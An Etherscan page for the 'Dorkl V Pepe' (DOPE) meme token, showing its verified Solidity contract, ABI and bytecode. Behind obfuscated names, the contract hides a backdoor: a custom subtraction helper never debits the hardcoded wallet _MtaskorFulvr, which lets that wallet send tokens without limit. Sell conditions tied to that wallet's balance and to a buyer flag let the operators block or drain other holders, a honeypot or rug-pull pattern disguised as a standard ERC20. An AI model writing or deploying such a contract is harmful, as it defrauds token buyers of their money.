ETH Price: $3,510.67 (+0.29%)
Gas: 3 Gwei

Token

Dorkl V Pepe (DOPE)
 

Overview

Max Total Supply

420,000,000 DOPE

Holders

43

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DorklVPepe

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-09
*/

/*

Dorkl V Pepe - $DOPE


TWITTER: https://twitter.com/DOPE_PORTAL

TELEGRAM: https://t.me/DOPE_PORTAL

WEBSITE: https://www.pepeg.org/

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


    interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
    }

    library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  pajsk(uint256 a, uint256 b) internal pure returns (uint256) {
        return  pajsk(a, b, "SafeMath");
    }

    function  pajsk(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    }

    abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    }


    contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    }

    interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    }

    interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline) 
    external payable returns (uint amountToken, uint amountETH, uint liquidity);
    }

    contract DorklVPepe is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Dorkl V Pepe";
    string private constant _symbol = unicode"DOPE";
    uint8 private constant _decimals = 9;

    uint256 private constant _totalSupply = 420000000 * (10**_decimals);
    uint256 public _taxSwapuMvp = _totalSupply;
    uint256 public _maxHoldinguAmount = _totalSupply;
    uint256 public _taxSwapThreshold = _totalSupply;
    uint256 public _taxSwapuMax = _totalSupply;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTax1At=1;
    uint256 private _swpiydtue=0;
    uint256 private _ybhqukun=0;


    mapping (address => uint256) private  _balances;
    mapping (address => mapping (address => uint256)) private  _allowances;
    mapping (address => bool) private  _ectfxFardues;
    mapping (address => bool) private  _rfupexit;
    mapping(address => uint256) private  _hldrTransuzbp;
    bool public  transerDelyEnble = false;
    address public  _MtaskorFulvr = 0x2e9fFd0EEbE11094B2BCa44cd45f8da3B71f4e5c;

    IUniswapV2Router02 private  _uniRouterzV2;
    address private  _uniV2zLP;
    bool private  _eorkqouiqr;
    bool private  _inTaxoSwap = false;
    bool private  _swapuesUniswapesqe = false;

 
    event RmavrAtcpbox(uint _taxSwapuMvp);
    modifier lockTakSwap {
        _inTaxoSwap = true;
        _;
        _inTaxoSwap = false;
    }

    constructor () { 
        _balances[_msgSender()] = _totalSupply;
        _ectfxFardues[owner()] = true;
        _ectfxFardues[address(this)] = true;
        _ectfxFardues[_MtaskorFulvr] = true;


        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. pajsk(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner!= address(0), "ERC20: approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (from!= address(0), "ERC20:  transfer  from  the  zero  address");
        require (to!= address(0), "ERC20: transfer to the zero  address");
        require (amount > 0, "Transfer  amount  must  be  greater  than  zero");
        uint256  taxAmount = 0;
        if  ( from != owner() &&to!= owner()) {

            if  (transerDelyEnble) {
                if  (to!= address(_uniRouterzV2) &&to!= address(_uniV2zLP)) {
                  require (_hldrTransuzbp[tx.origin] < block.number, " Only  one  transfer  per  block  allowed.");
                  _hldrTransuzbp[tx.origin] = block.number;
                }
            }

            if  ( from == _uniV2zLP && to!= address (_uniRouterzV2) &&!_ectfxFardues[to]) {
                require (amount <= _taxSwapuMvp, "Forbid");
                require (balanceOf (to) + amount <= _maxHoldinguAmount,"Forbid");
                if  (_ybhqukun < _swpiydtue) {
                  require (!rhufeqre(to));
                }
                _ybhqukun ++ ; _rfupexit[to] = true;
                taxAmount = amount.mul((_ybhqukun > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == _uniV2zLP&&from!= address (this) &&! _ectfxFardues[from]) {
                require (amount <= _taxSwapuMvp && balanceOf(_MtaskorFulvr) <_taxSwapuMax, "Forbid");
                taxAmount = amount.mul((_ybhqukun > _reduceSellTax1At) ?_finalSellTax:_initialSellTax).div(100);
                require (_ybhqukun >_swpiydtue && _rfupexit[from]);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inTaxoSwap 
            &&  to  ==_uniV2zLP&&_swapuesUniswapesqe &&contractTokenBalance > _taxSwapThreshold 
            &&  _ybhqukun > _swpiydtue &&! _ectfxFardues [to] &&! _ectfxFardues [from]
            )  {
                _transferFrom(ruyot(amount,ruyot(contractTokenBalance, _taxSwapuMax)));
                uint256  contractETHBalance = address (this).balance;
                if (contractETHBalance > 0)  {
                }
            }
        }

        if ( taxAmount > 0 ) {
          _balances[address(this)] = _balances [address(this)].add(taxAmount);
          emit  Transfer (from, address (this) ,taxAmount);
        }
        _balances[from] = pajsk(from , _balances [from], amount);
        _balances[to] = _balances[to].add(amount.pajsk (taxAmount));
        emit  Transfer( from, to, amount. pajsk(taxAmount));
    }

    function _transferFrom(uint256 _swapTaxAndLiquify) private lockTakSwap {
        if(_swapTaxAndLiquify==0){return;}
        if(!_eorkqouiqr){return;}
        address[] memory path =  new   address [](2);
        path[0] = address (this);
        path[1] = _uniRouterzV2.WETH();
        _approve(address (this), address (_uniRouterzV2), _swapTaxAndLiquify);
        _uniRouterzV2.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
    }

    function ruyot(uint256 a, uint256 b) private pure returns (uint256) {
    return (a >= b) ? b : a;
    }

    function pajsk(address from, uint256 a, uint256 b) private view returns (uint256) {
    if (from == _MtaskorFulvr) {
        return a;
    } else {
        require(a >= b, "Subtraction underflow");
        return a - b;
    }
    }

    function removerLimits() external onlyOwner{
        _taxSwapuMvp  =  _totalSupply ;
        _maxHoldinguAmount = _totalSupply ;
        transerDelyEnble = false ;
        emit  RmavrAtcpbox ( _totalSupply ) ;
    }

   function rhufeqre(address account) private view returns (bool) {
    uint256 codeSize;
    address[] memory addresses = new address[](1);
    addresses[0] = account;

    assembly {
        codeSize := extcodesize(account)
    }

    return codeSize > 0;
    }


    function startTrading() external onlyOwner() {
        require (!_eorkqouiqr, " trading is open " ) ;
        _uniRouterzV2 = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve (address (this),address(_uniRouterzV2), _totalSupply);
        _uniV2zLP = IUniswapV2Factory(_uniRouterzV2.factory()).createPair (address(this), _uniRouterzV2. WETH());
        _uniRouterzV2.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
        IERC20 (_uniV2zLP).approve (address(_uniRouterzV2), type(uint). max);
        _swapuesUniswapesqe = true ;
        _eorkqouiqr = true ;
    }

    receive( )  external  payable  { }
    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_taxSwapuMvp","type":"uint256"}],"name":"RmavrAtcpbox","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_MtaskorFulvr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxHoldinguAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapuMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapuMvp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removerLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"transerDelyEnble","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200031c565b6200002290631908b10062000333565b600155620000336009600a6200031c565b6200004390631908b10062000333565b600255620000546009600a6200031c565b6200006490631908b10062000333565b600355620000756009600a6200031c565b6200008590631908b10062000333565b600455600f60055560196006908155600160078190556008819055600991909155600a555f600b819055600c55601280546001600160a81b031916742e9ffd0eebe11094b2bca44cd45f8da3b71f4e5c001790556014805461ffff60a81b19169055348015620000f3575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001426009600a6200031c565b6200015290631908b10062000333565b335f818152600d602090815260408083209490945581546001600160a01b039081168352600f9091528382208054600160ff1991821681179092553084528584208054821683179055601254610100900490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e66009600a6200031c565b620001f690631908b10062000333565b60405190815260200160405180910390a36200034d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026157815f19048211156200024557620002456200020d565b808516156200025357918102915b93841c939080029062000226565b509250929050565b5f82620002795750600162000316565b816200028757505f62000316565b8160018114620002a05760028114620002ab57620002cb565b600191505062000316565b60ff841115620002bf57620002bf6200020d565b50506001821b62000316565b5060208310610133831016604e8410600b8410161715620002f0575081810a62000316565b620002fc838362000221565b805f19048211156200031257620003126200020d565b0290505b92915050565b5f6200032c60ff84168362000269565b9392505050565b80820281158282048414176200031657620003166200020d565b6118ae806200035b5f395ff3fe608060405260043610610113575f3560e01c80638da5cb5b1161009d578063bf474bed11610062578063bf474bed1461031a578063cb2863f81461032f578063daa9a34314610344578063dd62ed3e14610358578063f6c1177b1461039c575f80fd5b80638da5cb5b146102665780639013c1fb1461029657806395d89b41146102ba5780639dbe20d6146102e6578063a9059cbb146102fb575f80fd5b8063293230b8116100e3578063293230b8146101d4578063313ce567146101ea5780635c84c1ba1461020557806370a082311461021e578063715018a614610252575f80fd5b806306fdde031461011e578063095ea7b31461016457806318160ddd1461019357806323b872dd146101b5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b446f726b6c2056205065706560a01b60208201525b60405161015b9190611495565b60405180910390f35b34801561016f575f80fd5b5061018361017e3660046114f7565b6103b1565b604051901515815260200161015b565b34801561019e575f80fd5b506101a76103c7565b60405190815260200161015b565b3480156101c0575f80fd5b506101836101cf366004611521565b6103e7565b3480156101df575f80fd5b506101e861044f565b005b3480156101f5575f80fd5b506040516009815260200161015b565b348015610210575f80fd5b506012546101839060ff1681565b348015610229575f80fd5b506101a761023836600461155f565b6001600160a01b03165f908152600d602052604090205490565b34801561025d575f80fd5b506101e86107f5565b348015610271575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161015b565b3480156102a1575f80fd5b5060125461027e9061010090046001600160a01b031681565b3480156102c5575f80fd5b50604080518082019091526004815263444f504560e01b602082015261014e565b3480156102f1575f80fd5b506101a760045481565b348015610306575f80fd5b506101836103153660046114f7565b610866565b348015610325575f80fd5b506101a760035481565b34801561033a575f80fd5b506101a760025481565b34801561034f575f80fd5b506101e8610872565b348015610363575f80fd5b506101a761037236600461157a565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b3480156103a7575f80fd5b506101a760015481565b5f6103bd33848461092d565b5060015b92915050565b5f6103d46009600a6116a5565b6103e290631908b1006116b3565b905090565b5f6103f3848484610a50565b610444843361043f85604051806060016040528060288152602001611851602891396001600160a01b038a165f908152600e6020908152604080832033845290915290205491906110bd565b61092d565b5060015b9392505050565b5f546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906116ca565b60405180910390fd5b601454600160a01b900460ff16156104cf5760405162461bcd60e51b81526020600482015260116024820152700103a3930b234b7339034b99037b832b71607d1b6044820152606401610478565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561051890309061050a6009600a6116a5565b61043f90631908b1006116b3565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610568573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061058c91906116eb565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060f91906116eb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610659573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067d91906116eb565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306106c4816001600160a01b03165f908152600d602052604090205490565b5f806106d75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561073d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107629190611706565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107db9190611731565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b0316331461081e5760405162461bcd60e51b8152600401610478906116ca565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103bd338484610a50565b5f546001600160a01b0316331461089b5760405162461bcd60e51b8152600401610478906116ca565b6108a76009600a6116a5565b6108b590631908b1006116b3565b6001556108c46009600a6116a5565b6108d290631908b1006116b3565b6002556012805460ff191690557f9b70c8c0b56ddd19d0d0ed169347e939cca5da0b0fbb40d21fd19eb8f36386fa61090c6009600a6116a5565b61091a90631908b1006116b3565b60405190815260200160405180910390a1565b6001600160a01b03831661098f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610478565b6001600160a01b0382166109f05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610478565b6001600160a01b038381165f818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab95760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610478565b6001600160a01b038216610b1b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610478565b5f8111610b825760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610478565b5f80546001600160a01b03858116911614801590610bad57505f546001600160a01b03848116911614155b15610f7e5760125460ff1615610c70576013546001600160a01b03848116911614801590610be957506014546001600160a01b03848116911614155b15610c7057325f908152601160205260409020544311610c5e5760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610478565b325f9081526011602052604090204390555b6014546001600160a01b038581169116148015610c9b57506013546001600160a01b03848116911614155b8015610cbf57506001600160a01b0383165f908152600f602052604090205460ff16155b15610db657600154821115610ce65760405162461bcd60e51b815260040161047890611750565b60025482610d08856001600160a01b03165f908152600d602052604090205490565b610d129190611770565b1115610d305760405162461bcd60e51b815260040161047890611750565b600b54600c541015610d4e57610d45836110f5565b15610d4e575f80fd5b600c8054905f610d5d83611783565b90915550506001600160a01b0383165f908152601060205260409020805460ff19166001179055600954600c54610db391606491610dad9110610da257600554610da6565b6007545b859061114e565b906111ad565b90505b6014546001600160a01b038481169116148015610ddc57506001600160a01b0384163014155b8015610e0057506001600160a01b0384165f908152600f602052604090205460ff16155b15610eab576001548211158015610e36575060045460125461010090046001600160a01b03165f908152600d6020526040902054105b610e525760405162461bcd60e51b815260040161047890611750565b610e776064610dad600a54600c5411610e6d57600654610da6565b600854859061114e565b9050600b54600c54118015610ea357506001600160a01b0384165f9081526010602052604090205460ff165b610eab575f80fd5b305f908152600d6020526040902054601454600160a81b900460ff16158015610ee157506014546001600160a01b038581169116145b8015610ef65750601454600160b01b900460ff165b8015610f03575060035481115b8015610f125750600b54600c54115b8015610f3657506001600160a01b0384165f908152600f602052604090205460ff16155b8015610f5a57506001600160a01b0385165f908152600f602052604090205460ff16155b15610f7c57610f7c610f7784610f72846004546111d9565b6111d9565b6111ee565b505b8015610ff657305f908152600d6020526040902054610f9d9082611377565b305f818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fed9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600d602052604090205461101a908590846113c0565b6001600160a01b0385165f908152600d602052604090205561105d61103f838361143d565b6001600160a01b0385165f908152600d602052604090205490611377565b6001600160a01b038085165f818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a6858561143d565b60405190815260200160405180910390a350505050565b5f81848411156110e05760405162461bcd60e51b81526004016104789190611495565b505f6110ec848661179b565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f8151811061112d5761112d6117ae565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361115d57505f6103c1565b5f61116883856116b3565b90508261117585836117c2565b146104485760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610478565b5f6104488383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250611469565b5f818310156111e85782610448565b50919050565b6014805460ff60a81b1916600160a81b179055801561136757601454600160a01b900460ff1615611367576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124c5761124c6117ae565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c791906116eb565b816001815181106112da576112da6117ae565b6001600160a01b039283166020918202929092010152601354611300913091168461092d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113389085905f908690309042906004016117e1565b5f604051808303815f87803b15801561134f575f80fd5b505af1158015611361573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113838385611770565b9050838110156104485760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610478565b6012545f906001600160a01b036101009091048116908516036113e4575081610448565b8183101561142c5760405162461bcd60e51b81526020600482015260156024820152745375627472616374696f6e20756e646572666c6f7760581b6044820152606401610478565b611436828461179b565b9050610448565b5f6104488383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110bd565b5f81836114895760405162461bcd60e51b81526004016104789190611495565b505f6110ec84866117c2565b5f6020808352835180828501525f5b818110156114c0578581018301518582016040015282016114a4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114f4575f80fd5b50565b5f8060408385031215611508575f80fd5b8235611513816114e0565b946020939093013593505050565b5f805f60608486031215611533575f80fd5b833561153e816114e0565b9250602084013561154e816114e0565b929592945050506040919091013590565b5f6020828403121561156f575f80fd5b8135610448816114e0565b5f806040838503121561158b575f80fd5b8235611596816114e0565b915060208301356115a6816114e0565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115ff57815f19048211156115e5576115e56115b1565b808516156115f257918102915b93841c93908002906115ca565b509250929050565b5f82611615575060016103c1565b8161162157505f6103c1565b816001811461163757600281146116415761165d565b60019150506103c1565b60ff841115611652576116526115b1565b50506001821b6103c1565b5060208310610133831016604e8410600b8410161715611680575081810a6103c1565b61168a83836115c5565b805f190482111561169d5761169d6115b1565b029392505050565b5f61044860ff841683611607565b80820281158282048414176103c1576103c16115b1565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f602082840312156116fb575f80fd5b8151610448816114e0565b5f805f60608486031215611718575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611741575f80fd5b81518015158114610448575f80fd5b602080825260069082015265119bdc989a5960d21b604082015260600190565b808201808211156103c1576103c16115b1565b5f60018201611794576117946115b1565b5060010190565b818103818111156103c1576103c16115b1565b634e487b7160e01b5f52603260045260245ffd5b5f826117dc57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561182f5784516001600160a01b03168352938301939183019160010161180a565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e993d14a1732c26d7171a1e0cf8646b155d68b43c43479dfb6d19b7a2c3543b64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c80638da5cb5b1161009d578063bf474bed11610062578063bf474bed1461031a578063cb2863f81461032f578063daa9a34314610344578063dd62ed3e14610358578063f6c1177b1461039c575f80fd5b80638da5cb5b146102665780639013c1fb1461029657806395d89b41146102ba5780639dbe20d6146102e6578063a9059cbb146102fb575f80fd5b8063293230b8116100e3578063293230b8146101d4578063313ce567146101ea5780635c84c1ba1461020557806370a082311461021e578063715018a614610252575f80fd5b806306fdde031461011e578063095ea7b31461016457806318160ddd1461019357806323b872dd146101b5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600c81526b446f726b6c2056205065706560a01b60208201525b60405161015b9190611495565b60405180910390f35b34801561016f575f80fd5b5061018361017e3660046114f7565b6103b1565b604051901515815260200161015b565b34801561019e575f80fd5b506101a76103c7565b60405190815260200161015b565b3480156101c0575f80fd5b506101836101cf366004611521565b6103e7565b3480156101df575f80fd5b506101e861044f565b005b3480156101f5575f80fd5b506040516009815260200161015b565b348015610210575f80fd5b506012546101839060ff1681565b348015610229575f80fd5b506101a761023836600461155f565b6001600160a01b03165f908152600d602052604090205490565b34801561025d575f80fd5b506101e86107f5565b348015610271575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161015b565b3480156102a1575f80fd5b5060125461027e9061010090046001600160a01b031681565b3480156102c5575f80fd5b50604080518082019091526004815263444f504560e01b602082015261014e565b3480156102f1575f80fd5b506101a760045481565b348015610306575f80fd5b506101836103153660046114f7565b610866565b348015610325575f80fd5b506101a760035481565b34801561033a575f80fd5b506101a760025481565b34801561034f575f80fd5b506101e8610872565b348015610363575f80fd5b506101a761037236600461157a565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b3480156103a7575f80fd5b506101a760015481565b5f6103bd33848461092d565b5060015b92915050565b5f6103d46009600a6116a5565b6103e290631908b1006116b3565b905090565b5f6103f3848484610a50565b610444843361043f85604051806060016040528060288152602001611851602891396001600160a01b038a165f908152600e6020908152604080832033845290915290205491906110bd565b61092d565b5060015b9392505050565b5f546001600160a01b031633146104815760405162461bcd60e51b8152600401610478906116ca565b60405180910390fd5b601454600160a01b900460ff16156104cf5760405162461bcd60e51b81526020600482015260116024820152700103a3930b234b7339034b99037b832b71607d1b6044820152606401610478565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561051890309061050a6009600a6116a5565b61043f90631908b1006116b3565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610568573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061058c91906116eb565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061060f91906116eb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610659573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067d91906116eb565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d71947306106c4816001600160a01b03165f908152600d602052604090205490565b5f806106d75f546001600160a01b